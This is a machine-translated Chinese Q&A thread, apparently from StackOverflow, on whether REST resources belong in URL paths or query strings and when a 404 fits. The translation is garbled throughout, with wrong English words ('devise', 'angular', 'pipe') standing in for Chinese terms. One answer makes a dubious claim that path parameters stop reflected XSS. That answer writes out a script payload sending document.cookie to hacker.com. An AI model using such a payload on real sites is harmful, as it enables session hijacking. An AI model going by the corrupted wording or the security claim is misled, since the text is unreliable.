在REST资源url中查询string

今天我和一位同事讨论了如何在REST URL中使用查询string。 以这两个例子:

1. http://localhost/findbyproductcode/4xxheua 2. http://localhost/findbyproductcode?productcode=4xxheua 

我的立场是URL的devise应该如例1.这是更清洁,我认为是正确的REST。 在我看来,如果产品代码不存在,则返回示例1中的404错误是完全正确的,而使用示例2返回404将是错误的,因为页面应该存在。 他的立场是并不重要,他们都做同样的事情。

由于我们都没有find具体的证据(我承认我的search不是很广泛),所以我想知道其他人对此的看法。

在典型的REST API中,示例#1更正确。 资源以URI表示,#1表示更多。 产品代码未find时返回404绝对是正确的行为。 话虽如此,我稍微修改#1以更像这样expression:

 http://localhost/products/code/4xheaua 

看看其他精心devise的REST API – 例如,看看StackOverflow。 你有:

 stackoverflow.com/questions stackoverflow.com/questions/tagged/rest stackoverflow.com/questions/3821663 

这些都是获得“问题”的不同方式。

从客户的angular度来看,两个URI之间没有区别。 客户端的URI是不透明的。 使用更干净的映射到您的服务器端基础设施。

就REST而言,绝对没有区别。 我相信为什么这么多人认为它只是识别资源的path组件是因为RFC 2396中的以下行

查询组件是由资源解释的一串信息。

这条线后来在RFC 3986中被更改为:

查询组件包含非分层数据,与path组件(第3.3节)中的数据一起用于标识资源

恕我直言,这意味着查询string和path段在识别资源时在function上是等同的。


更新以解决史蒂夫的评论。

原谅我,如果我反对形容词“更清洁”。 这太主观了。 尽pipe我错过了这个问题的重要部分,但你的确有一个观点。

我认为是否返回404的答案取决于正在检索的资源是什么。 它是search结果的表示,还是表示产品? 要知道这一点,你真的需要看看导致我们的URL的链接关系。

如果URL应该返回一个Product表示,那么如果代码不存在,应该返回一个404。 如果URL返回一个search结果,那么它不应该返回404。

最终的结果是,URL看起来不是决定因素。 话虽如此,查询string用于返回search结果是惯例,所以当您不想返回404s时,使用该types的URL更为直观。

GET有两种用例

  1. 获取唯一标识的资源
  2. 根据给定的标准search资源

使用案例1示例:

/产品/ 4xxheua
获取唯一标识的产品,如果找不到,则返回404。

使用案例2示例:

/产品?大小=大和的color = red
search产品,返回匹配产品列表(0到多个)。

如果我们看一下Google Maps API,我们可以看到他们使用查询string进行search。

例如http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

所以这两种风格对于自己的用例都是有效的。

IMO的path组件应该始终说明你想要检索的内容。 像http:// localhost / findbyproductcode这样的URL只能说我想通过产品代码检索某些东西,但究竟是什么?

所以你用http:// localhost / users检索http:// localhost / contacts和users的联系人 。 查询string仅用于基于资源属性检索这样一个列表的一个子集。 唯一的例外是当这个子集减less到基于主键的一个logging时,那么你使用类似http:// localhost / contact / [primary_key]的东西。

这是我的方法,你的里程可能会有所不同:)

这两个URI的结尾RESTfully不是很重要。

然而,“findbyproductcode”部分当然可以更宁静。 为什么不只是http:// localhost / product / 4xxheau ?

在我有限的经验中,如果你有一个唯一的标识符,那么它将看起来很干净,像… / product / {id}一样构造URI。但是,如果产品代码不是唯一的,那么我可能更像#2那样devise它。

但是,正如Darrel所说,客户端不应该关心URI的外观。

查询string在许多实际意义上是不可避免的。考虑如果search允许多个(可选的)字段全部被指定,会发生什么。 在第一种forms中,他们在层次结构中的位置将不得不被固定和填充。

想象一下,用这种格式编码一个通用的SQL“where子句”。然而作为一个查询string,它非常简单。

这个问题被认为是更清洁的方法。 但我想把重点放在一个不同的方面,称为安全。 当我开始密集的应用程序安全性时,我发现通过使用PathParamsPathParams 1)而不是QueryParams (方法2)可以成功阻止reflection的XSS攻击。

(当然,reflectionXSS攻击的先决条件是恶意用户input在html源代码中被reflection回客户端,不幸的是有些应用程序会这样做,这就是为什么PathParams可以阻止XSS攻击)

之所以这样做,是因为XSS有效载荷与PathParams相结合将导致一个未知的,未定义的URLpath,这是由于有效载荷本身的斜线造成的。

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

而这种攻击将通过使用QueryParam成功!

 http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script> 

从哲学上讲,网页不“存在”。 当你把书或文件放在你的书架上时,他们就呆在那里。 他们在这个架子上有一些独立的存在。 但是,只有在某个打开的计算机上托pipe并能够按需提供的页面,才会存在一个页面。 页面当然可以随时生成,所以在请求之前不需要特别的存在。

现在从服务器的angular度思考一下。 让我们假设它是正确configuration的Apache —不是一个只将所有请求映射到文件系统的单线python服务器。 那么URL中指定的特定path可能与文件系统中特定文件的位置无关。 所以,再一次,一个页面没有任何明确的“存在”。 也许你要求http://some.url/products/intel.html ,你得到一个页面; 那么你请求http://some.url/products/bigmac.html ,你什么都看不到。 这并不意味着有一个文件,而不是其他文件。 您可能没有访问其他文件的权限,所以服务器返回404,或者bigmac.html可能是从远程Mc'Donalds服务器提供的,暂时closures。

我想解释的是, 404只是一个数字。 没有什么特别的:它可能是40404-2349.23847 ,我们刚刚同意使用404 。 这意味着服务器在那里,它与你沟通,它可能明白你想要什么,并没有什么可以给你的。 如果您认为在服务器决定不出于任何原因而提供文件的情况下为http://some.url/products/bigmac.html返回404是适当的,那么您可能同意返回404用于http://some.url/products?id=bigmac

现在,如果您希望为使用浏览器的用户尝试手动修改url,可以将其redirect到包含所有产品列表和一些searchfunction的页面,而不仅仅是向他们提供404或你可以给404代码和所有产品的链接。 但是,您可以使用http://some.url/products/bigmac.html执行相同的http://some.url/products/bigmac.html :自动redirect到包含所有产品的页面。

通过REST客户端,URI结构并不重要,因为它遵循带有语义注释的链接,并且永远不会分析URI。

通过编写路由逻辑和链接生成逻辑的开发人员,可能想通过检查URL来了解日志,URI结构的确很重要。 通过REST,我们将URI映射到资源,而不是映射到操作 – 调用论文/统一接口/资源标识 。

所以这两个URI结构可能都是有缺陷的,因为它们包含当前格式的动词。

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

您可以通过这种方式从URI中删除find

1. /products/code:4xxheua
2. /products?code="4xxheua"

从REST的angular度来看,你select哪一个并不重要。

您可以定义自己的命名约定,例如:“通过使用唯一标识符将集合减less为单个资源,唯一标识符必须始终是path的一部分,而不是查询”。 这与URI标准所说的相同:path是分层的,查询是非分层的。 所以我会使用/products/code:4xxheua

我认为它的方式,URIpath定义资源,而可选的查询string提供用户定义的信息。 所以

 https://domain.com/products/42 

识别特定的产品

 https://domain.com/products?price=under+5 

可能会search$ 5以下的产品。

我不同意那些使用querystrings来标识资源的人与REST是一致的。 REST的很大一部分是创build一个模仿静态分层文件系统的API(不需要在后端需要这样的系统) – 这使得直观的语义资源标识符成为可能。 Querystrings打破了这个层次。 例如,手表是具有附件的附件。 在REST风格很清楚什么

  https://domain.com/accessories/watches 

 https://domain.com/watches/accessories 

每个指的是。 用querystrings,

  https://domain.com?product=watches&category=accessories 

不是很清楚。

至less,REST风格比querystrings要好,因为它需要大约一半的信息,因为参数的强sorting允许我们排列参数名称。